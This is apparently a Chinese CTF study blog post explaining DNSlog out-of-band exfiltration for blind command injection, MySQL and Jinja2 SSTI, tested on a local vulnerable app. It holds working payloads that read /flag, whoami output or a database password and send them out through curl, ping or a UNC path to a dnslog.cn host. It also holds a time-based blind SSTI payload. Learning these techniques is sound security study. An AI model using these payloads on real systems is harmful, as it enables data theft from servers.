DNSlog注入以及内存马注入
[TOC]
啊……这部分作为SSTI的一个补充喵
先来看一下DNSlog注入
DNSlog注入
DNDlog注入,又称为带外攻击(OOB,Out-of-Band),专门用来应付无回显的一种技术
核心原理
在理解DNSlog之前,先来了解一下:当我们在浏览器输入一个域名时,网络上到底发生了什么
假设我们输入gloria.com
我的电脑💻不知道这台服务器的ip,所以向DNS服务器询问:gloria.com的ip是多少?
如果这个域名有一台专门的权威DNS服务器,这个询问请求最终会流向这台服务器
所以如果这台服务器是自己搭建的,那么只要有人尝试解析跟这个域名有关的任何子域名,都可以在**后台日志(log)**里看到
举个栗子 ~
假设我们有一个DNSlog平台,他分给我们一个专属域名:gloria.dnslog.cn
现在目标服务器上有个盲注漏洞(SQL注入、命令注入或者SSTI都可以),我们没有办法在网页上看到结果,但是我们可以让服务器执行一条命令:
1 | ping `cat /flag`.gloria.dnslog.cn |
反引号:当linux看到反引号的时候,会先执行里面的命令,假设
/flag里面的内容是flag{xxxxx}拼接域名:命令被替换成了
ping flag{xxxxx}.gloria.dnslog.cn发起请求:目标服务器回去公网解析这个域名
日志捕获:请求流到了你的DNSlog平台,在后台可以看到一条崭新的查询记录:
来源IP:xxx.xxx.xxx.xxx|想要解析:flag{xxxxx}.gloria.dnslog.cn
这样就带外出了flag
DNSlog三大姿势
在不用漏洞里,调动DNS的命令是不一样的
命令注入/RCE(Linux环境)
在Linux下,最常用的是curl、ping、host
1 | curl http://`whoami`.gloria.dnslog.cn |
curl是一个网络抓取工具,当他尝试建立TCP连接去访问时,必须先知道对方IP,从而发起
getaddrinfo()调用,触发系统发起DNS域名查询ping使用ICMP协议,也需要获取域名IP,所以也会强制系去解析域名
SQL盲注(MySQL的UNC共享文件机制)
经典payload(windows环境下地的MySQL为例)
1 | SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.gloria.dnslog.cn\\abc')); |
LOAD_FILE():在MySQL中,LOAD_FILE(file_name)是一个内置函数,用于读取服务器本地的文件并将其作为字符串返回- 为什么没有外网访问权的数据库会向外发送DNS请求?(windows UNC路径机制)
- UNC路径是windows系统用来表示网络共享资源的格式,例如:
\\主机名\共享名\目录 - 当我们向
LOAD_FILE传入\\\\password.gloria.dnslog.cn\\abc时,MySQL引擎作为运行在windows上的程序,会试图去读取这个路径下的文件 - windows操作系统的底层网络重定向器(Network Redirector)看到后:这是一个网络共享文件,我必须先去连接这台主机
- 然后windows系统就会自动向外发起DNS查询,询问password.gloria.dnslog.cn的IP
- 结果数据库的密码被拼在主机名里面,被带外出来,在日志中可以查看到
- UNC路径是windows系统用来表示网络共享资源的格式,例如:
🔺🔺🔺:存在环境局限,此姿势在windows上的数据库成功率极高,但是MySQL运行在linux上,由于linux默认不支持UNC路径,这种方式往往无法直接触发
SSTI(Jinja2模板引擎的命令执行机制)
经典payload:
1 | {百分号 if lipsum.__globals__.os.popen('curl http://`cat /flag`.gloria.dnslog.cn').read() 百分号}1{百分号 endif 百分号} |
(这里因为{百分号和hexo的模板引擎有点冲突就先用汉字代替罢…)
无论哪种姿势,都需要注意的是DNS域名不支持特殊字符,所以要进行base64编码或者hex编码后再进行拼接
例如
1 | # 管道处理:读取 -> 编码 -> 去掉换行 -> 去掉等号 -> 发送 |
这里浅写个小漏洞试一试DNSlog的厉害……
源码⬇
1 | # -*- coding: utf-8 -*- |
wsl里面运行
然后访问http://127.0.0.1:5000/可运行
这里我们先尝试一下获得当前用户名(whoami)
正常情况下,直接在URL里面无论输入什么都只能看到Command executed!是一个无回显状态
这时候就需要DNSlog注入
首先在http://dnslog.cn/里获得一个自己的域名(我这里是z4mwyq.dnslog.cn)
然后我们需要通过一种方式触发DNS域名查询,这里选择的是curl
构造paylaod为
1 | curl -g -k "http://127.0.0.1:5000/rce?cmd=curl%20http://\$(whoami).z4mwyq.dnslog.cn" |
虽然页面仍然显示Command executed!,但是去http://dnslog.cn/里刷新一下就会看到ubuntu用户名出现在日志里面了
接下来我们去tac /flag
flag里面存在特殊字符,因此我们要对其进行base64编码
编写payload
完整命令:
1 | curl -g -k "http://127.0.0.1:5000/rce?cmd=curl%20http://\$(cat%20flag.txt%20|%20base64%20|%20tr%20-d%20'%5Cn'%20|%20tr%20-d%20'%3D').gj2hsc.dnslog.cn" |
前面的部分都是一样的,主要是cmd=后面那一块
原本的真实命令是
1 | curl http://$(cat flag.txt | base64 | tr -d '\n' | tr -d '=').gj2hsc.dnslog.cn |
| base64:是把上一步读到的flag转化为base64编码| tr -d '\n':tr -d代表删除,这一步用于删除换行符,原因是base64编码工具在处理较长数据的时候,会默认每76个字符自动换行,换行符会把整个URL截断导致curl报错| tr -d '=':用于删除base64结尾的等号,因为有些严格的DNS服务器不认识=,可能会导致解析失败,回头本地手动补齐解密就行$():命令替换,在linux里面$()的优先级最高
得到flag
(这里因为过了一段时间所以重新获取了一个域名,不过其他的都不变)
得到ZmxhZ3tnbG9yaWFfZG5zbG9nX21hc3Rlcl8yMDI2fQ
然后补上两个=去解码就行,得到flag
然后我们来看SSTI注入
测试之后发现ban掉{{和print
完整payload
1 | curl -g -k -G --data-urlencode "name={百分号 if lipsum.__globals__.os.popen('curl http://\$(cat flag.txt|base64|tr -d \"\n\"|tr -d \"=\").m28550.dnslog.cn').read() 百分号}{百分号 endif 百分号}" "http://127.0.0.1:5000/ssti" |
完整paylaod
1 | curl -g -k "http://127.0.0.1:5000/ssti?name={百分号20if%20lipsum.__globals__.os.popen('if%20[%20\$(cat%20flag.txt%20%7C%20cut%20-c%201)%20=%20%22f%22%20];%20then%20sleep%203;%20fi').read()%20百分号}{百分号20endif%20百分号}" |
跑路去复习之前的知识惹……
Leave a comment